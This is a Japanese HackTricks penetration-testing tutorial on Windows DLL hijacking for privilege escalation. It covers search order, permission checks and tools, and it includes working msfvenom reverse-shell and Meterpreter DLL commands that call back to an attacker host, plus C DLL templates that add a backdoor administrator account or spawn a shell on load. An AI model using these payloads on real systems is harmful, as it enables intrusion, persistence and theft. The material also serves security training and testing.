hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
2023-07-07 23:42:27 +00:00

21 KiB
Raw Blame History

Dllハイジャッキング

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

もし、ハッキングのキャリアに興味があり、ハッキングできないものをハックしたい場合は、採用中です(流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

定義

まず、定義を確認しましょう。DLLハイジャッキングは、最も広義には、正規/信頼されたアプリケーションを任意のDLLを読み込むように騙すことです。DLL Search Order HijackingDLL Load Order HijackingDLL SpoofingDLL Injection、_DLL Side-Loading_などの用語は、しばしば間違って同じ意味で使用されます。

Dllハイジャッキングは、コードの実行永続性の確保特権の昇格に使用することができます。この3つのうち、特権の昇格は非常に少ないです。ただし、これは特権の昇格セクションの一部であるため、このオプションに焦点を当てます。また、目標に関係なく、dllハイジャッキングは同じ方法で実行されます。

タイプ

アプリケーションが必要なDLLをロードする方法に応じて、さまざまなアプローチがあります。成功は、アプリケーションがDLLをロードする方法によって異なります。可能なアプローチには次のものがあります。

  1. DLLの置き換え: 正規のDLLを悪意のあるDLLで置き換えます。これは、元のDLLのすべての機能が維持されるようにするために、DLL Proxying [2]と組み合わせることができます。
  2. DLL検索順序のハイジャック: パスのないアプリケーションが指定したDLLは、特定の順序で固定された場所で検索されます [3]。ハイジャックは、悪意のあるDLLを実際のDLLよりも先に検索される場所に配置することで行われます。これには、対象アプリケーションの作業ディレクトリも含まれる場合があります。
  3. Phantom DLLハイジャック: 正規のアプリケーションが読み込もうとする欠落/存在しないDLLの代わりに悪意のあるDLLを配置します [4]。
  4. DLLリダイレクト: DLLの検索場所を変更します。たとえば、%PATH%環境変数を編集するか、.exe.manifest / .exe.localファイルを編集して、悪意のあるDLLを含むフォルダを追加します [5, 6]。
  5. WinSxS DLLの置き換え: 対象のDLLの関連するWinSxSフォルダに正規のDLLを悪意のあるDLLで置き換えます。DLLサイドローディングとも呼ばれることがよくあります [7]。
  6. 相対パスDLLハイジャック: 正規のアプリケーションをユーザーが書き込み可能なフォルダにコピーオプションで名前を変更し、悪意のあるDLLと一緒に配置します。使用方法によっては、署名されたバイナリプロキシ実行 [8]と類似点があります。これのバリエーションは、(ややオキシモロン的に)「bring your own LOLbin」 [9]と呼ばれ、正規のアプリケーションが悪意のあるDLLと一緒に提供されます被害者のマシン上の正規の場所からコピーされるのではなく

欠落しているDLLの検索

システム内の欠落しているDLLを見つける最も一般的な方法は、procmonをsysinternalsから実行し、次の2つのフィルタを設定することです。

そして、ファイルシステムのアクティビティを表示します。

一般的な欠落しているdllを探している場合は、これを数秒間実行しておきます。
特定の実行可能ファイル内の欠落しているdllを探している場合は、「プロセス名」が「<exec name>」を含むような別のフィルタを設定し、実行してイベントのキャプチャを停止します。

ミッシングDLLの悪用

特権をエスカレーションするために、私たちが最も良いチャンスを持っているのは、特権プロセスが検索される場所ロードしようとするDLLを書くことができることです。したがって、オリジナルのDLLよりも前に検索されるフォルダにDLLを書き込むことができます奇妙なケース、またはDLLがどのフォルダにも存在しないフォルダにDLLが検索されるように書き込むことができます。

DLLの検索順序

一般的に、Windowsアプリケーションは、DLLを見つけるために事前に定義された検索パスを使用し、特定の順序でこれらのパスをチェックします。 DLLのハイジャックは通常、悪意のあるDLLをこれらのフォルダの1つに配置し、そのDLLが正当なDLLよりも先に見つかるようにします。この問題は、アプリケーションが必要なDLLに絶対パスを指定することで緩和することができます。

以下は、32ビットシステムでのDLLの検索順序です。

  1. アプリケーションがロードされたディレクトリ。
  2. システムディレクトリ。このディレクトリのパスを取得するには、GetSystemDirectory関数を使用します。(C:\Windows\System32)
  3. 16ビットシステムディレクトリ。このディレクトリのパスを取得する関数はありませんが、検索されます。(C:\Windows\System)
  4. Windowsディレクトリ。このディレクトリのパスを取得するには、GetWindowsDirectory関数を使用します。(C:\Windows)
  5. 現在のディレクトリ。
  6. PATH環境変数にリストされているディレクトリ。ただし、これにはApp Pathsレジストリキーで指定されたアプリケーションごとのパスは含まれません。App Pathsキーは、DLLの検索パスの計算時には使用されません。

これがデフォルトの検索順序で、SafeDllSearchModeが有効になっています。無効にするには、HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchModeレジストリ値を作成し、0に設定しますデフォルトは有効です

LoadLibraryEx関数がLOAD_WITH_ALTERED_SEARCH_PATHで呼び出される場合、検索はLoadLibraryExがロードしている実行可能モジュールのディレクトリから開始されます。

最後に、dllは名前だけでなく絶対パスを指定してロードされることもあります。その場合、そのdllはそのパスだけで検索されますdllに依存関係がある場合、名前でロードされたとして検索されます

検索順序を変更する他の方法もありますが、ここでは説明しません。

Windowsドキュメントからのdll検索順序の例外

  • 同じモジュール名のDLLがすでにメモリにロードされている場合、システムはロードされたDLLにリダイレクトとマニフェストをチェックし、DLLを検索しません
  • DLLが実行中のアプリケーションのWindowsバージョンの既知のDLLリストにある場合、システムは既知のDLLのコピーおよび既知のDLLの依存するDLL、ある場合を使用し、DLLの検索を行いません。現在のシステムの既知のDLLのリストについては、次のレジストリキーを参照してくださいHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
  • DLLに依存関係がある場合、システムは最初のDLLがフルパスを指定してロードされた場合でも、モジュール名だけでロードされたかのように依存するDLLを検索します。

特権のエスカレーション

前提条件

  • 他の特権で実行されるプロセス(水平/垂直移動)を見つけることができる。
  • dllが不足しているフォルダに書き込み権限を持っている(おそらく実行可能なディレクトリまたはシステムパス内のフォルダ)。

はい、前提条件は複雑で見つけるのが難しいです。デフォルトでは特権のある実行可能ファイルがdllが不足しているのは奇妙であり、システムパスのフォルダに書き込み権限を持つのはさらに奇妙です(デフォルトではできません)。しかし、設定が誤っている環境では、これが可能です。
もし要件を満たす幸運がある場合は、UACMEプロジェクトをチェックしてみてください。このプロジェクトの主な目標はUACのバイパスですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDLLハイジャックのPoCを見つけることができます。

フォルダのアクセス権限を確認するには、次のコマンドを実行します:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

そして、PATH内のすべてのフォルダのアクセス許可を確認してください:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

次のコマンドを使用して、実行可能ファイルのインポートとDLLのエクスポートを確認することもできます。

dumpbin /imports <executable>
dumpbin /exports <dll>

これにより、実行可能ファイルが依存しているDLLと、DLLが公開している関数が表示されます。

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

特権をエスカレートするためにDllハイジャッキングを悪用する方法の完全なガイドについては、次を参照してください:

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

自動化ツール

Winpeasは、システムのPATH内の任意のフォルダに書き込み権限があるかどうかをチェックします。
この脆弱性を発見するための他の興味深い自動化ツールは、PowerSploitの関数であり、Find-ProcessDLLHijackFind-PathDLLHijack、_Write-HijackDll_です。

攻撃可能なシナリオを見つけた場合、それを成功裏に悪用するために最も重要なことの一つは、実行可能ファイルがインポートするすべての関数を少なくともエクスポートするdllを作成することです。ただし、Dllハイジャッキングは、中間完全性レベルから高いレベルUACのバイパスまたは高い完全性からSYSTEMにエスカレートするために便利です。有効なdllの作成方法の例は、次のdllハイジャッキングの研究にありますhttps://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
さらに、次のセクションでは、テンプレートとして役立つ可能性のあるいくつかの基本的なdllコードを見つけることができます。

Dllの作成とコンパイル

Dllプロキシ化

基本的に、Dllプロキシは、ロードされたときに悪意のあるコードを実行することができるDllであり、また、実際のライブラリにすべての呼び出しを中継することで、期待どおりに公開および動作することができます。

ツール****DLLirantまたはSpartacus****を使用すると、実際のライブラリをプロキシ化するための実行可能ファイルを指定し、プロキシ化されたdllを生成するか、Dllを指定してプロキシ化されたdllを生成することができます。

Meterpreter

rev shellを取得x64

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

メータープリターの取得x86

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f dll > meterpreter.dll

メータープリターx86の取得方法

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻撃者のIP> LPORT=<攻撃者のポート> -f dll > meterpreter.dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

ユーザーの作成x86版、x64版は見つかりませんでした

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

あなた自身のもの

注意してください。いくつかの場合、コンパイルしたDllは、被害者プロセスによってロードされる複数の関数をエクスポートする必要があります。これらの関数が存在しない場合、バイナリはロードできず攻撃は失敗します

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

もしあなたがハッキングのキャリアに興味があり、解読不能なものをハックしたいのであれば、採用しています!(流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥